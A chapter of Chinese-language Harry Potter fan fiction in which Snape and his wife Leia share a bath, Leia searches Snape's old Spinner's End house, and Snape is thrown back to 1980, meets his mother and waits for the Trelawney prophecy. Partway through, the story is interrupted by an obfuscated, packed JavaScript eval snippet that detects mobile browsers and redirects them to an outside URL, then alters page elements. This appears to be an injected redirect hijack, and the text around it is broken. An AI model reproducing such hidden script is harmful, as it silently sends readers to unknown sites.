斯内普为她忍痛的模样笑了笑,明白了。心里一边漫开几分愧疚,却很快被暗暗的自得盖过,“哦,抱歉。”他说得优雅动听,全然没有悔意。 她立即回头瞪向满脸松快的男人,“你看上去可一点都没有抱歉的样子,先生。” “那就去洗澡吧,泡过热水可能会好些。”他扬起魔杖将昨夜的衣物枕被都整理复原。 再转头,就看到她已经披好他的睡衣,正光着脚,摇摇晃晃地挪向浴室。灰色的睡衣下摆长度正好蹭在她的腿边。 他闭了闭眼,放下魔杖,跟了进去。 不一会儿,浴室里就泛起水汽,缱绻缭绕的白雾团在浴缸的上方。他耐心地给她抹洗发水,以很轻的力度揉搓她现在长长不少的发。她仍在不住地打哈欠,任由他的随便摆布,只将全身的重量都靠在男人胸前。 浴缸里的热水漾出涟漪,温暖的水流一点点浸过她。只是,感到他的手从发端挪到了别的地方,她不得不适时地拍掉,不满地说:“西弗勒斯,好好洗。” “只是在想,”斯内普暂时听话地顿住,“或者你回去后可以先去蜘蛛尾巷看看。” “看看?”她略一踌躇,眼睛一亮,“啊,你是指,昨晚提到的索命咒研究?” “嗯。”他从架上拿过一小块海绵,从她后肩擦下去,泡沫顺着肌肤滑落,将她裹进浅白之中,“地下室还有一些笔记和书,我之前没有搬走,大部分都是有关于……” 黑魔法,她清楚的。 她沉默了一下,转过身,认真地盯着他:“好呀,如果你不怕我乱翻看到不该看的东西的话。” “我之前就说过了,”他没有躲避地回看她,手臂绕到她的腰间,轻抚摩挲,触感如同流过身侧的热水般温和,“没有什么是你不该知道、不该看见的。” “顺带一提,房子不需要钥匙,因为你也是它的主人。”很轻松平常的一句话。 “啊……”但蕾雅明显是有些怔愣的,“我知道了。” “我假设你是应该知道的。”他平静地补充道,语气似是在责怪她的无意,然而眼神却是温柔而真诚,就如此时坦诚相对的二人,“我对你已毫无保留。” “是吗?”蕾雅的嘴角不自觉地染上笑意,接过他手里的海绵,一点点摸索着擦洗他的皮肤,才发现他身上的痕迹一点不比自己少。 这让她凝视着他的绿眸弯得更动容,她拨开他的黑发,指尖穿梭在他的发间,打转、细细清洗,看着水流从他濡湿的黑发淌落,溅入水面。 “闭眼。”洗得差不多了,他将她按着坐下去,抬了抬手,让雾气凝成一朵纯白的雨云。 暖热的水柱自二人头顶缓缓降下,像是麻瓜们家中的莲蓬头。热气顷刻蒸腾着弥散,水幕如泷,将他们隔绝在整个世界外。他们的距离是如此的近,他此时的心跳穿透了她合眼的暖融黑暗,清晰可闻。 斯内普就这么沉醉般地端详着她,让水柱冲去她后背残余的泡沫,指腹稍稍掠过一道道刻浅淡伤疤。 “其实一直以来,你都明白自己对我来说意味着什么,不是吗?”他忽然问妻子。 蕾雅愣了一瞬,没想到睁眼会撞上一双沉静又动人的湿漉黑眸。水汽氤氲了他棱角分明的、瘦削的脸,让他此刻看上去柔软又低微,驯顺又赤诚,褪下所有平日的骄傲冷硬与隐忍克制。 她为他的毫无保留笑起来,手覆在男人低姿态的面孔上,轻缓抚过那被蒸汽熏红的肌肤与昨夜新长出的胡茬,理所当然地回答:“当然啦。你爱我,很深很深。” 斯内普眸色一沉,过了好些片刻,等到水声渐弱,才低叹承认道:“很遗憾,正是如此。” “我爱你,蕾雅。”他哑声说,指尖拂去一滴从她睫毛滑落的水珠。 “Truly and deeply(真真切切,深不可解)。” 他清楚自己从不习惯说这样的情话,也清楚她从来无需他言说,便早已把他的心意洞察得一干二净。可是,越来越多与她相处的时日,他会愿意——世间上总有那么些词语字段,本就是注定想要被对方听见的。 她的笑颜带着漫天圆满的星辉落进男人眼里,星光仿佛也映透了浴室的水雾。比热水还暖热的手贴上他的胸膛,她感受着被她拨得有些急促的脉搏,倾身亲吻他的鼻尖,“是吗?那太遗憾了。” “因为正巧,我也爱你,西弗勒斯。”她的额头靠着他的,如润物细雨般地轻轻道:?“Truly, deeply, and madly(真真切切,深深不已,还有无法自拔)。” …… 回到伦敦后,这位年轻的傲罗就收到了表彰的勋章,工资也因此上涨一些。不久,魔法部为在法国战争中牺牲的傲罗们举行了葬礼,大部分魔法部职员都到场,包括她的父亲和几位司长。 蕾雅是和哈利、罗恩、赫敏一同出席的。从哀乐奏起的那一刻起,她的眼泪再也不可控制地流得汹涌。到了敬花环节,她一下下抚摸那些只刻着冰冷名字的墓碑,一遍遍回想着与他们共度的日子,努力记住他们的模样,在模糊的视线中对他们许下诺言:“我会找到办法的。至少……至少,不想让这些事再发生那么多次了。” 接下来的大半个月,她一直住在莱恩哈特家,与父亲一同上班,处理美国、法国事件的收尾事务,也经常讨论索命咒的起源与研究方向。雷格纳确实对两个人不加掩饰的雄心感到惊讶,但那份惊讶只持续了几分钟,他就答应下来会在不违反神秘司条例的前提下帮助他们。 新闻版面上的头条逐渐被三强争霸赛的第二场比赛与选手采访取代,工作和生活也渐渐回到轨道。斯内普不在的这段日子,偶尔,她也会跟盛情邀请她的三人组到陋居吃饭,见见金妮、弗雷德和乔治,有时也能碰上比尔和芙蓉。周末,他们会一起去短途旅行,虽然那天因为赫敏跟罗恩的吵架闹得有些不愉快。 今天,提早下班的她刚踏出魔法部的大门,抬起头才发现天色有些阴沉,像是马上要下雨。毕竟是二月份的伦敦,总是湿冷又多雨。 赶在雨落下以前,她小跑拐进一旁的居民小巷,从一辆停靠的餐车打包了一份火腿三明治,又要了一杯冰拿铁,便迫不及待地幻影移形前往蜘蛛尾巷。 它和从前一样,肮脏、颓败、荒芜,街上空无一个人,灰蒙蒙的乌云又低又厚,压下来,夺去了这里世界的色彩。她停稳脚步,一阵腥臭混杂着湿泥雨水的气味从河那边飘来,她不由地咽下胃里的不适,赶紧上前,伸手扶在同样暗淡无光的19号门前。 正如斯内普所说的,门在接触到她魔力的一瞬便自动拧开了。 但紧接着,灰尘和混合潮湿的陈腐木味扑了她满怀,又差点让她当场吐出来。 当然不是故意要嫌弃丈夫的旧宅,只是今年伦敦的天气变化实在过于频繁,总让她感到不舒服。 她捂紧口鼻,边挥动魔杖施展几个清理一新,反手关好房门,走进室内。 烛灯微弱地映亮空荡荡的房间,没有被搬走的旧沙发守着孤零零的茶几和空木架。这边搬家的事差不多是斯内普一人忙完的,她记得当时从美国回来以后蜘蛛尾巷就是这个模样了。本以为斯内普是把书都搬到了新家,自那次听他提起她才得知,原来他将没带走的书籍全都封存在了地下室。 蕾雅把装有三明治的纸袋搁在茶几上,本想着悠哉吃完它们再干活的——现下是一点食欲没有了。她单单吸了一大口冰咖啡,回过身用魔杖敲了敲书架,木墙顿时轰隆隆地响起来,翻转露出一条走廊。 她钻进去,沿着狭窄楼梯下到地下室。推开上锁的木门,魔杖尖闪烁的荧光照出一整间垒砌到天花板的尘封纸箱。她怔了下,忽而反应过来斯内普在她回英国前叮嘱过:“到时候记得别用飞来咒,除非你想毁掉你丈夫的旧房子。” “西弗勒斯!”她半是无奈半是谴责地叹一口气,想着今晚可要好好跟他抱怨抱怨。回过神,她先是利落地变出几个光球甩到房间四角,蜡烛的微光实在是太暗了,她并不喜欢。 拉开这里唯一的一张木椅坐下,她低头打量那些整齐贴着标签的纸箱,突然就想起很久以前,在他的办公室帮忙整理那堆魔药材料的事。大概那时候的他们都不可能想到,他们竟然一路走到了今天。 她喝着咖啡,沉浸在无谓的想法里,目光慢悠悠地晃过“衣服”、“杂物”、“旧器材”……最终锁定在写着“书”的几箱上。放下只余下冰块的咖啡杯,她小心地以漂浮咒把那几个箱子抽出来,安置在不大的空地上,开始起身翻找。 虽然是一鼓作气想要找到目标便离开这里,但必须承认的是,她实在很难不被各种斯内普的过往勾走心绪——他的旧校服,毕业时从宿舍搬出的好一些旧书,一叠叠记着配方魔咒的泛黄草稿纸,她做不到不从这些去推断他从前的样子。 事实上,来这里之前她原以为会找到跟她年纪相仿的斯内普的痕迹,就像哈利、罗恩、纳威那些男孩子,留下的青春期碎片,比如说动人的情诗、暗恋的信纸、异想天开的小说片段。但是没有,斯内普将全部精力、每一寸能用的纸稿都花在魔药以及魔法的研究上。 有好一会儿,她读着密密麻麻的笔记,忽然就好像见到一个倔强沉默的黑发少年在伏案写字。 那是她曾在他记忆里见过的男孩,他一笔笔写,纸张一页页地翻过去,翻过了卑微的出身,翻过了无端的遭遇,翻过了踏错的歧路,翻过了孤独和自弃。 他就这么写着,每划下的一笔都是他内心对自我的执念。 相信总有一日,他会越来越强大,拥有属于自己的天地。相信总有一日,他会到达他所想的彼岸,哪怕沿途的河湖山坳多么曲折、泥泞。 杯中的冰块化尽了,她又翻出几本被加有封印的黑色羊皮裹住的黑魔法禁书。而从最后的一个箱子里,她找到一本破破烂烂的厚笔记,看起来用了很久,也被修补过很多很多次。 她粗略地翻了翻,里面是比他的《高级魔药学》更为晦涩繁复的笔记,遍布复杂的符号和图案,其中不少都与在罗齐尔庄园搜出的证据很相似。 蕾雅没有打算在这里深究,干脆地叠好几本笔记和书,把箱子砌回去,带上了门。 无论里面还有什么,它们都应该沉睡在斯内普的过去,那个她不打算打扰、也不打算过多窥探的从前。 时间花得比她想象中的多,所以收拾好蜘蛛尾巷后,她就立即赶到跟赫敏约定的麻瓜商场。但那个晚上,蕾雅依旧是没能吃下几口东西,不管赫敏怎么狐疑又心急地劝说她——最终,也是没拗过好友,她被拉着步入一家麻瓜药房。 …… 斯内普校长和霍格沃茨学生们从法国回来的那天,《预言家日报》正好刊登了霍格沃茨教授们合力修订的新教材出版的消息,特意邀请各国权威巫师对此做了一番书评。 而这次的三强争霸赛确实不如往时的久,赶在三月份便结束了,最后结果是霍格沃茨和布斯巴顿并列的第一。 天气依旧阴郁,灰黑的层云侵占了天幕,不知是要下雨还是下雪。列车抵达霍格莫德站,夜骐马车载着学生们在寒风中驶回霍格沃茨。这位校长的确信守了承诺,学生们一个不损地回来了。 斯内普拢紧斗篷,望见在消融雪地上奔跑过来的留校学生和几位教授。他们欢呼着胜利,雀跃着簇拥走在最前面的霍格沃茨勇士安妮·克罗菲尔顿,走进早有下午茶等候的礼堂。 他目送所有的身影消失在厚重门后,才转身踏上通往校长室的阶梯。 「我到霍格沃茨了」路上,他不忘给妻子报个信。 「今晚想吃点什么吗?」她问。 「都可以,但可能会有些晚」毕竟还要稍微过眼一下材料、文件,跟其他教授开个短会。 「好呀,你今天是会回家的吧」 「会的」会的。梅林清楚他有多想现在就回去,而且,这里也没有能让他过度担忧的事了。 「那就不着急时间,我在家等你」 「饿了就自己先吃点,天气还冷」他自己可能都没意识到,近来话变得多了些。 「那你也是,别顾着忙」不过,蕾雅明显早就习惯了。 推开阔别数月的校长室大门,这位校长见到邓布利多留下的几盒柠檬雪宝散落在壁炉前的茶几上,深紫色星月袍搭在沙发靠背。他没多在意,召唤家养小精灵要了一杯热咖啡和一小瓶全麦饼干,在校长椅坐下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15260111|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 啜饮苦涩却温暖的黑咖啡,他一一扫过桌上的文件,角落奇怪地摊着一份《预言家日报》——看上去是邓布利多故意为他留的。上面刊载的正是蕾雅获得一级梅林勋章的报道,照片上的人褪去了青雉,已是可以独当一面的傲罗模样了。 他勾了勾嘴唇,没有收起报纸,只是拿起邓布利多置于最上方的文件翻阅,心里莫名觉得似乎是太久没有这样平静地办公了,甚至都有些忘了当初是怎么适应这张高大又硌背的椅子的。没过多久,他便受不了般起身,捧着文件准备转去沙发上继续看。 可就在他迈出几步的一刻,小钟突兀的“叮咚”声割破室内的寂静。斯内普松散许久的神经瞬间绷紧,须臾间,手中的文件已被紧攥的魔杖取代。他几乎没有过多的思索,让窗户大开,一跃化作阴云底下的一缕黑烟,直直朝禁林的位置而去。 事件不是圆满解决了吗? 难道之前闯进霍格沃茨的东西不是罗齐尔家族?还是说,他们有其他的残党? 他在飞行中极速转动大脑,只觉得这次,他绝不会让他们逃脱。 他加快了速度。从高空俯瞰,禁林和平常并无两样,依旧是那样的沉寂静谧,在灰霾的雾气中仿佛是一抹冲不淡的墨痕,连光丝都难以渗入。 但他的确感受到了魔力的波动,就在离城堡不远的禁林边缘。而且,那不是寻常巫师的魔力气息,而是更为厚重而神秘的力量,更——诡异、古老的东西,如同一团压迫感哽在喉咙。 斯内普的眉毛蹙起,无法判断即将要面临的究竟是什么,可以肯定的就只有:来者不善。 他停在离防护魔咒稍远的树荫浓密处,掩去脚步衣袍的声响,快步去往异动传来的方向。绕过几棵虬枝盘结的老树,前方密集的灌木丛发出不安的沙沙声,迎面空气中凝结的魔力更强烈了。 天在这时淅沥沥地下起了雨,冷风从地底的缝隙漏出来,也卷起了雾。越往里面走,湿气逐渐罩住了视野,周围的光被堵在身后,他好像闯入一面没有前路的雾镜,只剩下魔法的味道越来越浓。 一丛长相怪异的荆棘拦住了去路,斯内普甩出两道魔咒劈开。与此同时,他手中的魔杖略略一震,一抬眼,他望到荆棘丛后显出一段被纠缠藤蔓和落叶遮蔽的石阶。 ……这是什么?禁林里有这样的地方存在吗? 他为自己施加了几道的保护咒语。 咔哒一声。 脚下的泥土在脚底猛然塌陷,巨大的引力随之从地下喷涌而出,他的魔力和咒语都在这一瞬被抽离。斯内普只能下意识握紧魔杖,根本来不及施咒,整个人连同荆棘丛和几块碎石一同滚落,跌入漆黑的深渊。 他的衣袍被掀起,耳畔是呼啸的风声,可昏黑的眼前什么也看不见。 吧嗒—— 应该是碎石着地的回响,可他还在不住地往下坠落,失重感似乎永无尽头。 直到某一刻,他重重摔在一处湿冷冰凉的地面,后背的疼痛震得大脑也荡起阵阵嗡鸣,险些失去意识。 他被地底的寒意呛得咳嗽几声,缓过气后勉强能忍痛撑地坐起。就在这时,有星点的光辉从他的四周弥漫开来,宛若置身一片无垠的星海,映得他的黑袍也幽幽泛光。低下头—— 他难以自控地瞪大双眼。底下,是一座城堡,不到一秒他就认得出来,那是霍格沃茨。连同周边的山脉、黑湖、禁林、河流、谷地丘陵,都被等比缩小还原在透明的地板下,活脱脱像某种被封存的微缩模型。 地下遗迹?是菲尼亚斯所说的那样吗? 耀目到刺眼的银光在他的思考间急剧汇聚,又蓦然扩散,借此,他撇到不远处弧形墙壁上矗立几幅巨大的画像。 还来不及错愕或者分辨那到底是谁,在奇异的光芒变幻下,玻璃状的地面倏地如石入水波般震颤、闪烁、扭曲——继而“轰”的一声碎裂,他猝不及防,就在流散奔逃的强光里笔直地掉了下去—— 不清楚过了多久,他的意识找到了他。而后,就闻到一股刻在记忆深处的气味。 老旧的木头,混着煤灰、尘土,还有霉气、鱼腥和烤焦食物的味道。 按下内心的震荡,斯内普再次睁开眼,掉入眼帘的是一段泛黄的木板,墙角印满的霉斑,霉斑底下挂着一层发黑的蛛网。 他认识这里,甚至可以说,很熟悉。 只是,这怎么可能?! 心脏砰砰地撞着摔得闷痛的前胸后背,他僵硬地转了转头。 看见更多膨胀起翘的木地板,蜘蛛网,苍蝇死在墙上的痕迹,看不出原来颜色的破窗帘,发黄破烂的床单,一叠被撕碎又被缝起来的旧书放在一张缺角的木桌上。旧书后面,他想起来,还藏着一套旧高布石,装在锈迹斑斑的铁盒子里。 ……原来是这样吗? 罗齐尔家族在找的魔法,竟然是真的存在吗? 刚才地下空间残留的冷意攀上他的后背,他坐起来,揉了揉发麻的手腕,发现身上的黑色魔法袍被划出数道口子,一条腿也被碎石割出数道血痕,只庆幸魔杖还完好地在他的手里。 很快,他迅速给自己施下止血魔咒,逼迫自己冷静。 过多纠结事情为什么会发生是无用的,他必须赶紧收集有用的讯息。 但现在是什么时候?既然这些东西还能出现在这个房间,那是他尚未完全和这里决裂的那段日子? 斯内普环顾一周,想到些什么,随后径直打开衣柜。 里面只有寥寥数件不合身的旧衣和校服。拨开这堆衣物,他谨慎地从咒语加锁的暗层翻出一本笔记。被掠夺者们反复撕坏,又被他反复以魔咒修好的笔记。 以及,一张面具——主人第一次赏他的食死徒礼物,因为不能放在霍格沃茨,只好藏在这里。 他把面具收如口袋,合上柜门,心里大概推算出此时的时间。 1980年,也许是5-6月。 这是他已然消逝的起点,也是让他如空壳月球般漂泊半生的根本。然而再回到这里,他却发现自己很平静,不再会为这些残破的、迷失的物件感到烦闷,只是想要快点找到离开的办法—— 他答应过她,会回家的。 “我,问,你,那个怪物为什么不回来!?”突然,楼下传来激烈的争吵声,轻易夺走他的注意力。 “我不知道!我不知道!别这样!”另一把女声慌乱的否认和哀求随即响起。 这与千千万万次在深夜梦回时翻起的一模一样。 粗暴的男人,退让的女人,摔砸的盆碗,哭泣的恳求—— 刚刚还在为混乱状况理清思绪的斯内普,只犹豫了一秒钟。 他伸手推开虚掩的房门。 也许是积年累月的悔恨。 也许是从她身上学会的莽撞。 也许只是压抑心底数十年的祈愿终于寻得出口。 总之,在下一道怒吼爆发前,从楼梯上方扔下去的昏迷咒直直击中喋喋不休的男人。那个咆哮的、狰狞的、梦靥般的,跟他有着同样鹰钩鼻,令他竭尽一生都想摆脱这个事实的男人。 他在镇定自若中抖了抖手腕,抽出口袋里的面具掩住面容,准备走向门口,离开这里。 然而,眼前佝偻的黑发女人已颤颤地转过身来,一下跪倒在地。 “不……不要杀我……!你不能……我儿子是……是你们的人……” 那张与他相似却因病愈发蜡黄的脸上,还挂着未尽的泪光。 106.预言 斯内普的身形一愣,大脑散开一片空白,双腿已抢在意识前迈过去。 他的嘴唇发颤,手中的魔杖宛如有千斤的重量那样牵着他向下。他再也支撑不住,趔趄地扑在女人的面前,想伸手去扶,却又在半空顿住,最终只能转而扶稳脸上的面具,艰难挤出几个弱不可闻的词语:“别怕,我不会……我不会!” “我……不是食死徒。” 说完,他的舌尖久久抵在上颚,后知后觉地感到喉咙泛着浓苦。 跪坐在地上的女人瞪大双眼,很快恢复为本来因病失焦的虚无状态。空洞的黑眼珠迷茫地扫过眼前的男人,一寸寸滑向他微曲的黑发,嵌在黑发间没有任何花纹的面具。他一身的黑袍略有破损,长袖裹至手腕,露出一小截白色的衬衫。 而衬衫的前方,他手中的魔杖,亦是同样的漆黑。 女人更为惊讶,迟缓而颤抖地探出手,在空气中摸索着,喃喃道:“你是个巫师……你的魔杖……”她似乎想要攥住他。 斯内普猛地低下头,迅速将右手连同魔杖藏到背后。虽然,他觉得一向敏锐的艾琳一眼就能看出来,如果她能看得清楚的话。 艾琳的手指终于触碰到他,指节轻轻合拢,抓住了他的左手。 他仿佛又变成了三十年前的那个孩子,在朝晨初醒时被母亲牵着。 可是,这次母亲的掌心是冷的,他从未想象过是这样的冷。 不再是记忆中温暖又带有粗糙的热度,而是干枯的、消瘦的、冰冷的。宛如槁木,是大海被岁月抽干水分以后的残骸。 斯内普的眼眶发烫,胸口被撕开一个大洞,有呼呼的风不住地灌进来,吹散了经年累月垒砌的冷静和自持。 他一直没有告诉任何人,他最害怕的,是目睹失去。他实在无法做到眼睁睁看着母亲的生命一日日消逝下去……为此,他那时候其实是“害怕”,而不是“不愿”回到这里。 毕竟,他转过头,看向被击倒在厨房和餐厅连接处的托比亚·斯内普。就是他回来了,也不能做些什么。艾琳—— 艾琳不会让他做什么的,即使后来的他已拥有反抗的能力与勇气。 这是他回到这个时间点的原因吗? 为弥补他毕业后甚少回来的过错? 他深吸一口气,勉强压紧情绪和颤抖的喉咙,让语气听着不像平时的自己:“是,我是个巫师……看来,您也是?”他顿了顿,吞下强烈的哽咽,咬着牙,嗓音像拉断的弦:“莱恩哈特……是我的名字。……抱歉,我大概是被错误的移动魔法送到了这里。” “还起得来吗?”他搀扶她站起,将她安置在破旧的沙发上,很快变出一块干净的布塞到她的手里,“您还好吗?”他问,随即指了指托比亚:“这个男人,是您的丈夫?我以为是有人要伤害您才攻击了他。我为我的自作主张道歉,也为擅自闯入您的家道歉,我这就离开。” “莱恩哈特……莱恩哈特。”艾琳枯枝般的手捏紧布,也没有擦脸,只木然重复着这个名字,仿佛是听见了什么超出她认知的东西。 “莱恩哈特先生。”她叫住了正要离开的斯内普,呆呆地注视着,过了好一会儿,才回答之前的问题:“他……是我的丈夫。……谢谢你,谢谢。如果你不赶时间,请允许我以一壶茶道谢。”她说着,头偏到厨房的方位。 “不必麻烦。”斯内普拒绝了这个会暴露身份的提议,用手势示意她继续安坐。他沉吟一阵,决定以一个陌生人的身份,向母亲问出藏在心底很久的疑问:“他是您的丈夫,他总这么粗暴吗?您为什么不反抗呢?”这竟然比他预想的要轻松许多。 “并不是一直……这样。”艾琳轻轻地笑了笑,眼神恍惚又清澈,落到倒地昏睡的男人那侧,“他曾在我最寂寞的时候施以援手,成为我唯一的依靠。但……人是会变的,尤其是过得不好的人。你明白的吧,莱恩哈特先生?” 又是这一套说辞,与母亲寄给他的信中的话语,一模一样。 ——“即使你知道,这里并非一直这样,曾经我们也有过不少快乐的日子,只是,为柴米油盐发愁的生活,轻易能摧毁所有。” 斯内普没有搭话,他的内心强硬地阻止他回答这个问题。母亲守着一瞬的虚幻,已经太久了。事实上,他也并不是没有尝试过,但无论他如何努力,母亲似乎总抱有某种奇怪的坚持。 如今走过半生,回想过来,也许有些人注定如此,放不下执念,放不下过去,更害怕重新开始——他无力也无法拯救的,太多了。 “我不该说这些,你不是来听一个女人旧事的。”艾琳温和的声音打断斯内普的思绪,她慢慢抬起头,认真地凝望他的左手,问道:“你也有放不下的家人吧?” “……有,如你所见,我结婚了。”斯内普诚实地说,拇指下意识地摩挲着无名指上的戒指,略显拘谨地站到壁炉的一侧,“我并不赶时间。或者不如说,我仍对我为何被传送到这里抱有疑问。” “你结婚了……”艾琳沉默片刻,轻咳两声,连忙拿起桌上的水杯抿了一口,轻如耳语地说:“那真是太好了……你的另一半,肯定也是一个跟你一样热心肠的人吧?” 斯内普一时无言,回过神来时,双臂已紧紧绞在胸前。 “她是。”他说,“……热心得近乎鲁莽的格兰芬多,跟我和你一样,是黑头发。”他不清楚怎么会说出后半句,但回神时话已出口。 “是这样啊……”艾琳倒是不觉得意外般点点头,低不可闻地笑了声,追问道:“你有孩子了吗?” 斯内普愣了下,微微摇头,低沉地说:“还没有。” “还没有啊。但不用担心,你会是个好父亲的。”见斯内普的肩膀局促地动了动,艾琳忽而踉踉跄跄地站起身。这并不容易,长久的疾病压垮了她的背脊,“至于你为什么会出现在这里,或许……是因为我向梅林许的愿望应验了。” “是什么?”他几乎不假思索地问,视线始终追踪慢慢踱到书架边的艾琳,生怕有什么绊住她的脚步。 艾琳低叹了一口气,从书架里翻出了什么东西,珍重地抚了抚,才递向斯内普,“这是一封信,我想……寄给我的孩子。虽然不知道他还会不会愿意读信。” 这句话使斯内普的心中涌上一种朦朦胧胧的惊觉。他垂下眼,白色的崭新信封上什么都没有,除了一个简单的收信人名字——“致我亲爱的西弗勒斯”。 他没有马上伸手去接,略微僵硬地望向艾琳。 “抱歉,我没解释得更清楚些。”艾琳的眼里闪过一瞬失落,补充似的慌忙解释道:“我是想,寄给以后的他。我还记得寄送的咒语,只是……我的魔杖早就不在了。你愿意帮我吗,莱恩哈特先生?” 原来如此。斯内普接过信,轻飘飘的信纸压在他的手中。 “谢谢。”艾琳感激地微笑着,与斯内普对视。有那么一瞬,斯内普觉得她是透过他的面具,看进了他深夜般的瞳眸,也在深深地看进他的灵魂。 斯内普不再抗拒,暂时摆脱了踌躇和酸楚,依照艾琳的指示施展咒语——寄给,未来的他,那个已经读过信件内容的斯内普。也因此,他没有询问艾琳这封信要寄到的确切地址,艾琳像是察觉了什么,亦没有开口。 这样就很好。他和母亲之间,总会有一种心照不宣。 一阵冷风吹散了魔咒笼在信件的微光。斯内普侧过头,看见敞开的窗户玻璃忽然沾上两三滴水珠,而后是越来越多的雨线刻在上面,也洒进室内。艾琳挣扎地抓着椅子扶手起来,想要去关窗。斯内普举起魔杖,用魔法替她完成了这个简单的动作。 “真的,非常谢谢你。”艾琳说。 不久,天色沉黯,雨点猛猛地敲在窗棂上,邻居家的枯树被狂风拉扯得摇摇晃晃,忽隐忽现。 那原应是棵山楂树,也不知道邻居从哪里弄来的。然而,斯内普盯着那棵被雨幕染成灰色的树,怔住了。他不知道为何会莫名地想关注它,直到一个模糊的念头倏然敲击他的脑壳。 回忆的浪潮突然卷起,那里也有一棵同样的树,他曾很多次在后面藏身。 斯内普蓦地转向艾琳,急促地问:“今天是几号?” “五月十五,先生。”艾琳答道,“1980年。你是想到什么吗?” “五月十五……”果然。他的声音低了下去,喉咙发紧,感觉他本人也如那棵树一样被雨丝消解了。他焦急地拿出怀表,与墙上的钟表比对,一瞬间,心怦怦地坠到很远。 “去吧,快去吧,别让我耽误你的时间。”艾琳读懂他的迟疑,赶忙催促道,便要送他到门口,“我已很感谢你实现了我的愿望。我相信,有其他人更需要你的帮助。” “不……” 这远远不够,斯内普舔了舔干燥的唇,它在面具下抿了又抿。 他站在出口,回望母亲深陷的眼窝,无数个念头在这时划过心头。 他想问还有没有什么能做的,他能不能再陪她一会儿。他想告诉她,他从来没有怨过她,他不会怨她,他会“原谅”她,即使他从不觉得她有什么对不起自己的地方——反而,是他该对她说,对不起,对不起——— 对不起,母亲。 一直以来,最应站在你身边的人,其实是我。 一直以来,不曾坚定地陪伴你,选择视而不见、落荒而逃的,其实是我。 可他什么都说不出来。 母亲说得对,他会回到这个时间点,定不是没有缘由。并不是为了陷入自怨自艾、怀缅过去而来的,仍有他必须去做的事,如果他的猜测无错——如果它们都跟那封寄给未来的信一般的话。 未来,时间——“时间和预言本就有既定的路径和法则。” 而人生,总是有突如其来的相见,也有突如其来的告别,甚至有时候没能意识过来,便已是既定的永别。 “再见,先生。” “再见,保重。” 有什么东西在面具里滑落下来,斯内普尝到了咸咸的苦。 用力地拥抱母亲,鼻尖嗅到她身上比眼泪更苦的药味。 他最后看了一眼倚在门框挥手的女人,转身走出了蜘蛛尾巷,再也没有回头。 …… 夜晚如期而至,跟记忆里的一样,整个英国都在下雨。 也跟记忆里的一样,猪头酒吧门外确有一棵不会开花的山楂树,它挤在两座砖房之间的过道里,顽强地投下了一片浓阴,让这里成为绝佳的隐藏地点。从这里望出去,恰好能目见所有前来酒吧的人,同时能瞥到二楼客房的一角。 只是,他知道,当年今日,他并没有像往常那样躲在这底下。 雨和寒气沾湿了斯内普的衣袍。他取下面具,施了一道混淆咒,又将衣袍加一层能掩住面容的高领,跟着络绎不绝避雨的巫师一同钻入酒馆。 里面是一如往常的乌烟瘴气。形态各异的巫师与绑着绷带的怪人在高谈阔论,脏兮兮的绷带半截搭在同样脏污的椅旁。酒液的熏臭混杂油腻的肉味,地板被顾客们鞋底的泥水蹭得污浊不堪,壁上的烛光如同苍白到寂寥的烟火,无声地睥睨他们。 斯内普在一个隐蔽的角落坐下,向极度不耐烦的阿不福思·邓布利多要了一杯火焰威士忌。阿不福思气冲冲地把酒杯搁到他的面前,回过身就围到右边的那桌,那里的巫师在进行某种棋牌游戏,正玩得起劲。 “要我说——”阿不福思半倚在桌边,把几个空杯扔回柜台,掂起一块擦桌的脏布,激动地咂了咂嘴:“你刚刚就该出那张牌,现在好了吧?” “下一盘,下一盘!这年头,谁不是靠运气制胜?”对面的大胡子巫师不着急地晃了晃手里的骰子,指着另一侧脸隐在黑暗的巫师,大声咕哝:“赶紧下注啊,哈罗德!今天非得跟你分个胜负不可。” 阿不福思摇头,轻蔑一笑:“我看是你要栽在这里咯。” 斯内普收回目光,没有去碰那杯酒,只快速地瞥一眼怀表,将手指搭在冰凉的杯沿上。就在他默数到十的须臾,酒馆的门被推开了。 几滴浑浊的圆掉在泥泞的地上,来人甩开更多黏湿的冰水,快速摘下兜帽,露出一头银白的长发与蓝眼睛,清亮锐利,似是盛满一整个宇宙的星辰。 阿不思·邓布利多。这时的他还未那样苍老。 “还好赶上了,好大的雨。”他拍了拍懒得搭理他的阿不福思肩膀,径直上了楼。 斯内普心生烦闷,将手指从酒杯边移开,于桌面上意义不明地敲打两下。余光便注意到原先坐在楼梯一侧的男人悄悄站起,紧挨阿不思的背影上了楼。 再次确认时间,斯内普然后把目光锁定在阿不福思的后背。 还有五分钟,他的一生将因此彻底改变。 1980年,5月15日,反常的冷雨夜。 天地沉沉,阴晦得仿佛一层厚重的幕布。再过不久,骤雷会劈开这层帷幕,一出好戏上演,而舞台上登场的,将是那个被轰出猪头酒吧、被狠狠踹倒在泥地里的自己。 指针踱过一圈半,马上就要到西比尔·特里劳妮做出预言的时分。 然而,阿不福思却仍沉浸在棋牌游戏里,丝毫没有要动身上楼的意思。 斯内普握紧了怀表,目光紧盯一秒一秒坚定移动的指针。 阿不福思和大胡子巫师高声争辩牌路,又为哈罗德的大获全胜吹了声欢快的口哨。 ——是这样吗? 难道他回到这一天,竟是为了这件事?是为了提醒阿不福思?毕竟,过去很长一段时间,年轻的他一直不能理解,阿不福思为何会突然上楼。 可是,等等,如果他再早一点、早一点让阿不福思上楼,是不是可以阻止整个预言被偷听。 继而,波特一家,就有可能免去一死吗? 这个惊人的念头让他的呼吸变得浅短,像是被巨浪吞没的溺水者突然抓住远方一块浮木。他被冷汗沁湿,心跳声了无着落地混在酒馆的喧嚣喝彩里,命运的鼓声如同一匹受惊的野马,正要从胸膛冲撞出来,卷席着他奔入分岔的小路。又或许,是掉入深渊。 “未来并不改变过去,只是揭示它。”雷格纳在那场会议的话语再度叩响在耳畔。 “时间奇点一旦产生,原有的时间线或许存在,但旧的时间线就不可逆,未来亦不可知。” 不,不对。 